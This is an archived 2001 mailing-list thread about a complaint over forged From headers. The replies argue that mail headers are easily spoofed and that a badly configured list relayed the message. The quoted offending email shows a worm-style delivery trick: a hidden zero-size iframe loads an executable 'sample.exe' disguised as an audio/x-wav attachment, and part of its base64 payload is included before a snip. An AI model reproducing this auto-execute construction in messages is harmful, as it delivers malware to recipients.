Vol, If you check the headers that Matt included, you see that the mail has actually been sent to the [EMAIL PROTECTED] address, and got distributed through the mailinglist.
> > It has come to our attention that email originating from inter7.com > > servers has been delivered to parties on the internet with the originating > > From: field of "[EMAIL PROTECTED]" Well, the parties here is the members of [EMAIL PROTECTED] It's not a matter of insecure mailservers, or that a mail has orginated from Inter7. It's a matter of bad configured mailinglist. Vol is correct about forgery of the mailheaders, especially others domains as the return/from address. This I guess have happened to all of us and is one of the most used method for dist. of SPAM. -- -------------------------------------------- IDG New Media Einar Bordewich Development Manager Phone: +47 2336 1420 E-Mail: eibo(at)newmedia.no Lat: 59.91144 N Lon: 10.76097 E -------------------------------------------- ----- Original Message ----- From: <[EMAIL PROTECTED]> To: "matt carter" <[EMAIL PROTECTED]> Cc: <[EMAIL PROTECTED]>; <[EMAIL PROTECTED]>; <[EMAIL PROTECTED]>; <[EMAIL PROTECTED]>; <[EMAIL PROTECTED]>; "jason andrade" <[EMAIL PROTECTED]>; <[EMAIL PROTECTED]> Sent: Wednesday, December 05, 2001 8:42 PM Subject: Re: your organisation is sending out emails using our addresses > No such emails have originated from our servers. We have had a problem > in the past with spam mail being sent from OUR domain as well. > Unfortunately, From headers, and Received headers can be forged easily > by anyone. > > We are not in the business of sending executable files via email either. > > This is an abuse of our mailing lists, and there's not too much we can > do to stop this except unsubscribe the user, and ban the domain(s) from > communicating with the mailing list. > > matt carter wrote: > > > > -- inter7 you are being emailed as the source of this problem > > -- home.net you are being emailed as the upstream of this problem. > > > > To whom it may concern, > > > > It has come to our attention that email originating from inter7.com > > servers has been delivered to parties on the internet with the originating > > From: field of "[EMAIL PROTECTED]" > > > > This is our intellectual property and your organisation has no rights to > > masquerade as planetmirror, represent yourself as planetmirror, or use the > > planetmirror trademark in any way, shape or form. > > > > If you could investigate and respond to this issue as a matter of urgency > > would be appreciated. > > > > Regards, > > > > Matt Carter > > > > >From [EMAIL PROTECTED] Sun Dec 2 01:48:11 2001 > > Return-Path: <[EMAIL PROTECTED]> > > Received: from localhost (localhost.localdomain [127.0.0.1]) > > by me.bcgreen.com (8.11.6/8.11.2) with ESMTP id fB29m4s01753 > > for <samuel@localhost>; Sun, 2 Dec 2001 01:48:04 -0800 > > Received: from localhost.localdomain [127.0.0.1] > > by localhost with POP3 (fetchmail-5.9.0) > > for samuel@localhost (single-drop); Sun, 02 Dec 2001 01:48:04 -0800 (PST) > > Received: from ns1.inter7.com (ns1.inter7.com [209.218.8.2]) > > by budoshin.zoku.net (8.9.3/8.9.3) with SMTP id BAA05919 > > for <[EMAIL PROTECTED]>; Sun, 2 Dec 2001 01:25:36 -0800 (PST) > > (envelope-from [EMAIL PROTECTED]) > > Date: Sun, 2 Dec 2001 01:25:36 -0800 (PST) > > Message-Id: <[EMAIL PROTECTED]> > > Received: (qmail 8696 invoked by uid 511); 2 Dec 2001 09:03:01 -0000 > > Mailing-List: contact [EMAIL PROTECTED]; run by ezmlm > > Delivered-To: mailing list [EMAIL PROTECTED] > > Received: (qmail 8681 invoked from network); 2 Dec 2001 09:02:50 -0000 > > From: <[EMAIL PROTECTED]> > > Subject: ÐHrunjsp2jsp19jsppage1jsprequest1runjsp51¿ä±Ýjsppagecontext1jspapplication2 11runjsp5servlet081ÄÄÆÑjsppagecontext21runjsp9¿¹Á¦5jsp14jsprequest41jakarta2 servlet05jspsession111riched20runjsp6runjsp13jsp1jsp141servlet02jspplugin111 1111jspapplication21jsprequea.mx.inter7.com.servlet04 > > MIME-Version: 1.0 > > Content-Type: multipart/related; > > type="multipart/alternative"; > > boundary="====_ABC123456j7890DEF_====" > > X-Priority: 3 > > X-MSMail-Priority: Normal > > X-Unsent: 1 > > To: undisclosed-recipients:; > > X-UIDL: 9a53fe5be33205c889aa69d82dae1fa2 > > Status: RO > > X-Status: A > > X-Keywords: > > X-UID: 608 > > > > --====_ABC123456j7890DEF_==== > > Content-Type: multipart/alternative; > > boundary="====_ABC09876j54321DEF_====" > > > > --====_ABC09876j54321DEF_==== > > Content-Type: text/html; > > charset="iso-8859-1" > > Content-Transfer-Encoding: quoted-printable > > > > <HTML><HEAD></HEAD><BODY bgColor=3D#ffffff> > > <iframe src=3Dcid:EA4DMGBP9p height=3D0 width=3D0> > > </iframe></BODY></HTML> > > --====_ABC09876j54321DEF_====-- > > > > --====_ABC123456j7890DEF_==== > > Content-Type: audio/x-wav; > > name="sample.exe" > > Content-Transfer-Encoding: base64 > > Content-ID: <EA4DMGBP9p> > > > > TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA > > AAAA2AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1v > > ZGUuDQ0KJAAAAAAAAAA11CFvcbVPPHG1TzxxtU88E6pcPHW1TzyZqkU8dbVPPJmqSzxytU88cbVO > > PBG1TzyZqkQ8fbVPPMmzSTxwtU88UmljaHG1TzwAAAAAAAAAAMv0BwUAAI9/UEUAAEwBBQBAw8I7 > > AAAAAAAAAADgAA4BCwEGAABwAAAAwAUAAAAAAAd1AAAAEAAAAIAAAAAANzcAEAAAABAAAAQAAAAA > > AAAABAAAAAAAAAAAcAYAABAAAAAAAAACAAAAAAAQAAAQAAAAABAAABAAAAAAAAAQAAAAAAAAAAAA > > AACEgQAAUAAAAADgAACAFAAAAAAAAAAAAAAAAAAAAAAAAABgBgBECgAAAAAAAAAAAAAAAAAAAAAA > > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAIQBAAAAAAAAAAAAAAAAAAAAAAAA > > AAAAAAAAAAAudGV4dAAAAKplAAAAEAAAAHAAAAAQAAAAAAAAAAAAAAAAAAAgAABgLnJkYXRhAAAq > > -snip- > > -- > [EMAIL PROTECTED] > Inter7 Internet Technologies, Inc. > www.inter7.com - 847-492-0470 > Prices at http://www.inter7.com/prices >
